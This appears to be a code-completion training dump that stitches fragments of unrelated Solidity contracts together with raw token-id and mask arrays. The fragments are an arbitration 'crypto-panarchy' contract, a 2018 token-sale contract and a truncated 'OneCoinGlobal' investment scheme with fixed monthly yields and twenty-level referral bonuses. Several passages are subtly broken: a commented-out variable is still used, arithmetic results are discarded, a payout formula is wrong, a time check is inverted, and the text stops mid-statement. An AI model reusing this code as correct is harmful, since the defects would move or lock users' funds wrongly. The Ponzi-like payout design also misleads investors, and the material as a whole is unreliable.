_privLawAgreement[_aid].signees.push(0xD1E1aF95A1Fb9000c0fEe549cD533903DaB8f715); _privLawAgreement[_aid].signees.push(0x37bB9cC8bf230f5bB11eDC20894d091943f3FdCE); _privLawAgreement[_aid].signees.push(0x3644B986B3F5Ba3cb8D5627A22465942f8E06d09); _privLawAgreement[_aid].signees.push(0x000000000000000000000000000000000000dEaD); _privLawAgreement[_aid].state[0xD1E1aF95A1Fb9000c0fEe549cD533903DaB8f715]=2; _privLawAgreement[_aid].state[0x37bB9cC8bf230f5bB11eDC20894d091943f3FdCE]=2; _privLawAgreement[_aid].state[0x3644B986B3F5Ba3cb8D5627A22465942f8E06d09]=_aid; _privLawAgreement[_aid].state[0x000000000000000000000000000000000000dEaD]=2; } //T:OK:(f9):Allows one to get all signees to a given agreement id function getAgreementSignees(uint256 _aid) public view returns(address[] memory _signees) { return (_privLawAgreement[_aid].signees); } //T:OK:(f9):Allow to test if agreement is settled peacefully (state=2) or not. Returns the first who did not agree if not settled. function isSettledAgreement(uint256 _aid) public view returns(bool, address _who) { address _whod; for (uint256 n=0; n<_privLawAgreement[_aid].signees.length;n++) { _whod = _privLawAgreement[_aid].signees[n]; if (_privLawAgreement[_aid].state[_whod]!=2) return (false,_whod); } return (true,address(0)); } //T:OK:(f9):A non public version of the previous function, for testing and not informational function _isSettledAgreement(uint256 _aid) private view returns(bool) { address _whod; for (uint256 n=0; n<_privLawAgreement[_aid].signees.length;n++) { _whod = _privLawAgreement[_aid].signees[n]; if (_privLawAgreement[_aid].state[_whod]!=2) return (false); } return (true); } //T:PEND:Allows withdrawal of deposit if agreement is settled or has been arbitrated function wdAgreement(uint256 _aid) public { require(_privLawAgreement[_aid].deposit==1 && _privLawAgreement[_aid].finePaid[_msgSender()]==1,"E: not paid"); // Withdrawal: you never paid deposit for this agreement id require(_privLawAgreement[_aid].fine>0,"E: nothing to wd"); // Withdrawal: nothing to withdrawal, agreement charged no fine" require(balanceOf(address(this))>=_privLawAgreement[_aid].fine,"E: contract balance too low"); // Withdrawal: contract balance is too low, arbitrator or crypto-panarchy administration should fund it require((_privLawAgreement[_aid].state[_msgSender()]==4 || _isSettledAgreement(_aid)),"E: wd not ready"); // Withdrawal: sorry, agreement is neither settled or arbitrated to your favor /** Precisamos definir o valor. Possibile logica aziendale: * - se for settlement amigavel, devolve o que pagou, paga fee, mark state 21 * - se for disputa arbitrada mark state 41 * - saca o dobro se for um acordo com apenas duas partes, desconta taxa de arbitragem * - descobre os perdedores P, descobre o total de perdedores tP divide pelo total de signatararios s, desconta arbitragem e paga a divisao * - saque = (D*s) - f / (s-tP) * onde * tp = total de perdedores da disputa (ie 2) * s = total de signees (ie 10) * D = fine depositada per s (ie 60) * f = tazza de arbittrage (ie 2) * - ∴ saque = ( (60*10)-3/(10-2) ) ∴ 59962500000 wei * - arbitragem define outro valor? melhor nao. nel codice, ci fidiamo. * - pagamento da fee de arbitragem apenas sobre saques individuais, mark state 91 * - fee de arbittrage: max fee absolute hardcoded no contrato (imutavel), * custom fee absolute, or percentage fee hardcoded no contratto * therefore we have custom (free market), default in percentage * and max arbitration fee, which the reason to exist was discussed * between Tom W Bell & 0xFF4, and is an optional upper limit by the crypto-panarchy. **/ uint256 tP; uint256 s=_privLawAgreement[_aid].signees.length; uint256 D=_privLawAgreement[_aid].fine; // uint256 fmax=3 * 10**_decimals; // max arbitration fee (in Tokens) (CONFIG:hardcoded) uint256 fpc=2; // default arbitration fee in percentage (CONFIG:hardcoded) uint256 f=(D.mul(s)).mul(fpc).div( (10**2)); // default arbitration fee value in tokens uint256 wdValue; if (_isSettledAgreement(_aid)) { // its all good, agreement is friendly settled require(_msgSender()!=_privLawAgreement[_aid].arbitrator,"E:fee not due"); // Withdrawal: friendly settled aid, no arbitration fee is due" // if (_msgSender()!=_privLawAgreement[_aid].arbitrator) { return false; } // cheaper wdValue=_privLawAgreement[_aid].fine; // get back what you paid _privLawAgreement[_aid].state[msg.sender]=21; // mark 21 } if (_privLawAgreement[_aid].arbitratorFee>0) { f=_privLawAgreement[_aid].arbitratorFee; } // arbitrator has set a custom fee if (f > fmax) { f=fmax; } // arbitration fee never above fmax for this panarchy. for (uint256 n=0; n<s; n++) { tP.add(1); } // tP++ if (msg.sender==_privLawAgreement[_aid].arbitrator) { // arbitrator withdrawal require(_privLawAgreement[_aid].state[_msgSender()]!=91,"E: already paid"); // Withdrawal: arbitrator fee already claimed wdValue=f; _privLawAgreement[_aid].state[msg.sender]=91; // mark 91 } else { // signee withdrawal require(_privLawAgreement[_aid].state[_msgSender()]!=41,"E: already paid"); // "Withdrawal: signee disputed fine already claimed" wdValue=( (D*s) - f / (s-tP) ); // Der formulae für diesen Panarchy debattiert _privLawAgreement[_aid].state[msg.sender]=41; // mark 41 } _approve(address(this), msg.sender, wdValue); _transfer(address(this), msg.sender, wdValue); } // 1=active/signed, 2=want_friendly_terminate, 3=want_dispute, 4=won_dispute, 5=lost_dispute // 21=friendly_withdrawaled, 41=disputed_wdled, 91=arbitrator_wdled 99=disputed_outside(ostracized) // T:PEND:(f16):Allows signee to enter dispute, enter friendly agreement and allows court to arbitrate disputes function setArbitration(uint256 _aid, uint256 _state, address _signee) public returns(bool) { require((_privLawAgreement[_aid].state[msg.sender]!=1||_privLawAgreement[_aid].arbitrator!=_msgSender()),"A2: not signee/court"); // never signed and is not arbitrator, do nothing /*if (_privLawAgreement[_aid].state[msg.sender]!=1||_privLawAgreement[_aid].arbitrator!=_msgSender()) { return false; // never signed and is not arbitrator, do nothing } else { */ if (_privLawAgreement[_aid].arbitrator==_msgSender() && _state==99) { // worst scenario, arbitrator informs disputed outside _privLawAgreement[_aid].state[_signee]=99; // set state to 99 _selfDetermined[_signee].spContractsViolated++; // violated contract _selfDetermined[_signee].spOptOutArbitrations=1; // disputed outside this panarchy rules: ostracized _selfDetermined[_signee].ostracizedBy.push(_msgSender()); // ostracized by this court setTrustPoints(_signee, 0); // worsen average } if (_privLawAgreement[_aid].arbitrator!=_msgSender() && (_state==2||_state==3||_state==1)) { // signer may set those states _privLawAgreement[_aid].state[msg.sender]=_state; } else if (_privLawAgreement[_aid].arbitrator==_msgSender() && (_privLawAgreement[_aid].state[_signee]==3) && (_state==4||_state==5)) { // arbitrator may set those states to signee if he wants dispute arbitration _privLawAgreement[_aid].state[msg.sender]=_state; if (_state==4) { setTrustPoints(_signee, 2); // receives 1 point from contract } else { _selfDetermined[_signee].spContractsViolated++; // violated contract setTrustPoints(_signee, 0); // worsen average } } //} return true; } } //EST FINITO /* * Due to contract size restrictions I am continuing the implementation in a second contract called VolNI which continues * using all the public interfaces from the original Crypto-Panarchy contract. It's a weird design decision which I was * mostly forced due to Solidity's actual limitations. Luckily all relevant calls were made public to export to Web3js front. * I am not fully implementing Hayek's idea because I disagree (and Mises does too, you bunch of socialists), therefore * volNiAddFunds() is still voluntary, one must donate! Belevolence! And members of the trust chain who need money may claim * a share every 15 days. */ contract VolNI is Ownable { using SafeMath for uint256; using Address for address; string public name = "Voluntary Negative Income"; address public panarchyAdmin; address public panaddr; mapping (address => uint256) donatesum; struct volNiSubjProperties { uint256 lastClaimedDate; uint256 donateSum; } mapping (address => volNiSubjProperties) private _volniSubject; uint256[3] public benevolSubjStats; // [ epoch, numSubj, totalValue ] event Deposit(address indexed who, uint amount); constructor (address _panarchy_addr) { panaddr = _panarchy_addr; //panarchy = new XFFAv5(); } /*receive() external payable { deposit(); } function deposit() public payable { p.balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); _volniSubject[msg.sender].donateSum.add(_amount); }*/ XFFAv5 p = XFFAv5(payable(panaddr)); function mygetAgreementSignees(uint256 _aid) public view returns(address[] memory) { return(p.getAgreementSignees(_aid)); } function myPrintParentAddr() public view returns(address) { return (panaddr); } function Finger(address _who) public view returns(string memory _sPgpPubK,string memory _sSshPubK,string memory _sX509PubK,string memory _sGecos,uint256 _sRole, string memory _sNickname) { return (p.Finger (_who)); } function volNiAddFunds(uint256 _amount) public { require (p.balanceOf(msg.sender)>=_amount,"ERC20: Insufficient balance to donate funds to Voluntary NI"); p.approve(msg.sender, _amount); // _approve(_msgSender(), spender, amount); p.transfer(address(this), _amount); _volniSubject[msg.sender].donateSum.add(_amount); } function volNiBalance() public view returns(uint256) { return (p.balanceOf(address(this))); } function volNiClaim() public { require(_volniSubject[msg.sender].lastClaimedDate<=(block.timestamp+1296580),"A2: already claimed within last 15 days"); // 1296580 = 15d 8h uint256 wdValue=100; //uint256 wdValue=(p.balanceOf[address(this)].div(benevolSubjStats[1])); // predict monthly NI based on num of beneficiaries from last period require(p.balanceOf(address(this))>=wdValue/2,"A2: insuficient funds, invite convenant members to donate"); p.approve(address(this), wdValue.div(2)); // divided by two for splitting claims every 15days p.transfer(msg.sender, wdValue.div(2)); if (benevolSubjStats[0] <= (block.timestamp-2593160)) benevolSubjStats = [ 0, 0, 0 ]; // reset statistics after 1 month benevolSubjStats = [ block.timestamp, benevolSubjStats[1].add(1), benevolSubjStats[2].add(wdValue.div(2))]; // monthly statistics _volniSubject[msg.sender].lastClaimedDate=block.timestamp; } } */ * TODO: so far wdValue is static, I should make it make it a DAO decision. Also test for min balance of claimer and * track it because low time preference individuals should be detected and are not welcome to get money from this pool. */
mandei 290.9k max transfer que da 1% do supply inicial (nao do circulante, logo isso muda com o tempo)
uint256 private _maxTxAmount = 290900 * 10**_decimals;
12,876,702
[ 1, 4728, 323, 77, 576, 9349, 18, 29, 79, 943, 7412, 6597, 5248, 404, 9, 741, 14467, 316, 22354, 261, 82, 6033, 741, 5886, 1934, 7974, 16, 19128, 353, 2048, 312, 13177, 532, 320, 1022, 1631, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 3238, 389, 1896, 4188, 6275, 273, 12899, 5908, 713, 380, 1728, 636, 67, 31734, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x0f37dd19f5bba5e4a6fb7281e1d135d8245a6ef7 //Contract name: IADTGE //Balance: 0 Ether //Verification Date: 4/28/2018 //Transacion Count: 14 // CODE STARTS HERE pragma solidity 0.4.23; /** * @title IADOWR TGE CONTRACT * @dev ERC-20 Token Standard Compliant Contract */ /** * @title SafeMath by OpenZeppelin * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * Token contract interface for external use */ contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public; } /** * @title DateTime contract * @dev This contract will return the unix value of any date */ contract DateTime { function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public constant returns (uint timestamp); } /** * @title manager * @notice This contract have some manager-only functions */ contract manager { address public admin; //Admin address is public /** * @dev This contructor takes the msg.sender as the first administer */ constructor() internal { admin = msg.sender; //Set initial admin to contract creator emit Manager(admin); } /** * @dev This modifier limits function execution to the admin */ modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } /** * @notice This function transfer the adminship of the contract to _newAdmin * @param _newAdmin The new admin of the contract */ function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered admin = _newAdmin; emit TransferAdminship(admin); } /** * @dev Log Events */ event TransferAdminship(address newAdminister); event Manager(address administer); } contract IADTGE is manager { using SafeMath for uint256; DateTime dateTimeContract = DateTime(0x1a6184CD4C5Bea62B0116de7962EE7315B7bcBce);//Main //This TGE contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public startTime = dateTimeContract.toTimestamp(2018,4,30,7,0); //From Apr 30 00:00 (PST) uint256 public deadline = dateTimeContract.toTimestamp(2018,5,31,6,59); //Until May 30 23:59 (PST) uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; uint256[2] public rates = [6250,5556];//Base rate is 5000 IAD/ETH - 1st 15 days 20% discount/2nd 15 days 10% discount string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice TGE constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice contribution handler */ function contribute() public notFinished payable { require(now >= startTime); uint256 tokenBought; totalRaised = totalRaised.add(msg.value); if (now < startTime.add(15 days)){ tokenBought = msg.value.mul(rates[0]); } else { tokenBought = msg.value.mul(rates[1]); } totalDistributed = totalDistributed.add(tokenBought); tokenReward.transfer(msg.sender, tokenBought); emit LogFundingReceived(msg.sender, msg.value, totalRaised); emit LogContributorsPayout(msg.sender, tokenBought); checkIfFundingCompleteOrExpired(); } /** * @notice check status */ function checkIfFundingCompleteOrExpired() public { if(now > deadline){ state = State.Successful; //TGE becomes Successful completedAt = now; //TGE end time emit LogFundingSuccessful(totalRaised); //we log the finish finished(); //and execute closure } } /** * @notice closure handler */ function finished() public { //When finished eth and tremaining tokens are transfered to creator require(state == State.Successful); uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token _address) onlyAdmin public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(admin,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
Until May 30 23:59 (PST)
uint256 public deadline = dateTimeContract.toTimestamp(2018,5,31,6,59);
6,368,383
[ 1, 9716, 16734, 5196, 10213, 30, 6162, 261, 52, 882, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 14096, 273, 9296, 8924, 18, 869, 4921, 12, 21849, 16, 25, 16, 6938, 16, 26, 16, 6162, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } /* * @dev Get the current price of ETH/USD in a buyTokens function of a deployed solidity smart contract */ interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } /* * @title 1CC Global Financial System, build in Ethereum Network * @dev A financial system built on smart contract technology. Open to all, transparent to all. * The worlds first decentralized, community support fund */ contract OneCoinGlobal is Ownable { IERC20 public investToken; AggregatorInterface internal ethPriceFeed; using SafeMath for uint256; struct PlayerDeposit { uint256 id; uint256 amount; uint256 total_withdraw; uint256 time; uint256 period; uint256 expire; uint8 status; uint8 is_crowd; } struct Player { address referral; uint8 is_crowd; uint256 level_id; uint256 dividends; uint256 eth_dividends; uint256 referral_bonus; uint256 match_bonus; uint256 holder_full_bonus; uint256 holder_single_bonus; uint256 total_invested; uint256 total_redeem; uint256 total_withdrawn; uint256 last_payout; PlayerDeposit[] deposits; address[] referrals; } struct PlayerTotal { uint256 total_match_invested; uint256 total_dividends; uint256 total_referral_bonus; uint256 total_match_bonus; uint256 total_holder_full_bonus; uint256 total_holder_single_bonus; uint256 total_eth_dividends; } /* Deposit smart contract address */ address public invest_token_address = 0x94E042C6fD31bb391FC27c0091785728D9bCD149; /* Chainlink ETH/USD proxy address */ address public ethusd_proxy_address = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; uint256 public invest_token_decimal = 4; uint256 public invest_eth_decimal = 8; uint256 public total_investors; uint256 public total_invested; uint256 public total_withdrawn; uint256 public total_redeem; uint256 public total_referral_bonus; uint256 public total_match_bonus; uint256 public total_dividends; uint256 public total_eth_dividends; uint256 public total_holder_full_bonus; uint256 public total_holder_single_bonus; uint256 public total_platform_bonus; /* Current corwded shareholder number */ uint256 public total_crowded_num; /* Total shareholder join limit number */ uint256 constant public SHAREHOLDER_LIMIT_NUM = 30; /* Shareholder bonus rate */ uint256 constant public shareholder_full_bonus_rate = 5; uint256 constant public shareholder_single_bonus_rate = 3; /* Referral bonuses data define*/ uint8[] public referral_bonuses = [10,8,6,4,2,1,1,1,1,1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]; /* Invest period and profit parameter definition */ uint256[] public invest_period_months = [1, 2, 3, 6, 12, 18]; //period months uint256[] public invest_period_month_rates = [800, 900, 1000, 1100, 1200, 1200]; //Ten thousand of month' rate /* yield reduce project section config, item1: total yield, item2: reduce rate */ uint256[] public yield_reduce_section1 = [2000000, 30]; uint256[] public yield_reduce_section2 = [5000000, 30]; uint256[] public yield_reduce_section3 = [9000000, 30]; /* Team level data definition */ uint256[] public team_level_ids = [1,2,3,4,5,6]; uint256[] public team_level_amounts = [10000,30000,50000,100000,200000,500000]; uint256[] public team_level_bonuses = [2,4,6,8,10,11]; /* invest coin usd price */ uint256 public invest_coin_usd_price = 1; /* invest reward eth rate ‰ */ uint256 public invest_reward_eth_month_rate = 25; /* ETH min withdraw amount: 0.1 ETH */ uint256 public eth_min_withdraw_num = 1 * (10 ** 17); /* user invest min amount */ uint256 constant public INVEST_MIN_AMOUNT = 100; /* user invest max amount */ uint256 constant public INVEST_MAX_AMOUNT = 10000; /* user crowd limit amount */ uint256 constant public CROWD_LIMIT_AMOUNT = 15000; /* user crowd period(month) */ uint256 constant public crowd_period_month = 18; /* Platform bonus address */ address public platform_bonus_address = 0xb42a4bed3C53a7aC9551670dF0AF36956c7b87F1; /* Platform bonus rate percent(%) */ uint256 constant public platform_bonus_rate = 5; /* Mapping data list define */ mapping(address => Player) public players; mapping(address => PlayerTotal) public playerTotals; mapping(uint256 => address) public addrmap; address[] public shareholders; event Deposit(address indexed addr, uint256 amount, uint256 month); event Withdraw(address indexed addr, uint256 amount); event ReferralPayout(address indexed addr, uint256 amount, uint8 level); event Crowd(address indexed addr, uint256 amount); event DepositRedeem(uint256 invest_id); constructor() public { /* Create invest token instace */ investToken = IERC20(invest_token_address); /* Create eth price feed in chainlink */ ethPriceFeed = AggregatorInterface(ethusd_proxy_address); } /* Function to receive Ether. msg.data must be empty */ receive() external payable {} /* Fallback function is called when msg.data is not empty */ fallback() external payable {} function getBalance() public view returns (uint) { return address(this).balance; } /* * @dev user do deposit action,grant the referrs bonus,grant the shareholder bonus,grant the match bonus */ function deposit(address _referral, uint256 _amount, uint256 _month) external payable { require(_amount >= INVEST_MIN_AMOUNT, "Minimal deposit: 100 1CC"); require(_amount <= INVEST_MAX_AMOUNT, "Maxinum deposit: 10000 1CC"); //require(_amount % 100 == 0, "Invest amount must be multiple of 100"); Player storage player = players[msg.sender]; require(player.deposits.length < 2000, "Max 2000 deposits per address"); /* format token amount */ uint256 token_decimals = 10 ** invest_token_decimal; uint256 token_amount = _amount * token_decimals; /* Transfer user address token to contract address*/ require(investToken.transferFrom(msg.sender, address(this), token_amount), "transferFrom failed"); _setReferral(msg.sender, _referral); /* update total investor count */ if(player.deposits.length == 0){ total_investors += 1; addrmap[total_investors] = msg.sender; } /* get the period total time (total secones) */ uint256 period_time = _month * 30 * 86400; uint256 _id = player.deposits.length + 1; player.deposits.push(PlayerDeposit({ id: _id, amount: _amount, total_withdraw: 0, time: uint256(block.timestamp), period: _month, expire:uint256(block.timestamp).add(period_time), status: 0, is_crowd: 0 })); player.total_invested += _amount; total_invested += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, 1); emit Deposit(msg.sender, _amount, _month); } /* * @dev user do crowd action, to join shareholder */ function crowd(address _referral, uint256 _amount) payable external { require(_amount == CROWD_LIMIT_AMOUNT, "Crowd limit: 15000 1CC"); require(total_crowded_num <= SHAREHOLDER_LIMIT_NUM, "Maximum shareholders: 30"); Player storage player = players[msg.sender]; require(player.is_crowd == 0, "Already a shareholder"); /* format token amount */ uint256 token_amount = _getTokenAmount(_amount,invest_token_decimal); /* Transfer user address token to contract address*/ require(investToken.transferFrom(msg.sender, address(this), token_amount), "transferFrom failed"); _setReferral(msg.sender, _referral); /* get the period total time (total secones) */ uint256 _month = crowd_period_month; uint256 period_time = _month.mul(30).mul(86400); /* update total investor count */ if(player.deposits.length == 0){ total_investors += 1; addrmap[total_investors] = msg.sender; } uint256 _id = player.deposits.length + 1; player.deposits.push(PlayerDeposit({ id: _id, amount: _amount, total_withdraw: 0, time: uint256(block.timestamp), period: _month, expire: uint256(block.timestamp).add(period_time), status: 0, is_crowd: 1 })); /* set the player of shareholders roles */ player.is_crowd = 1; total_crowded_num += 1; /* push user to shareholder list*/ shareholders.push(msg.sender); player.total_invested += _amount; total_invested += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, 1); emit Crowd(msg.sender, _amount); } /* * @dev user do withdraw action, tranfer the total profit to user account, grant rereferral bonus, grant match bonus, grant shareholder bonus */ function withdraw() payable external { /* update user dividend data */ _payout(msg.sender); Player storage player = players[msg.sender]; uint256 _amount = player.dividends + player.referral_bonus + player.match_bonus + player.holder_full_bonus + player.holder_single_bonus; uint256 _eth_amount = player.eth_dividends; require(_amount > 0, "Insufficient balance"); /* format deposit token amount */ uint256 token_amount = _amount; /* process token transfer action */ require(investToken.approve(address(this), token_amount), "approve failed"); require(investToken.transferFrom(address(this), msg.sender, token_amount), "transferFrom failed"); /* eth dividends must greater than min withdraw num */ if(_eth_amount >= 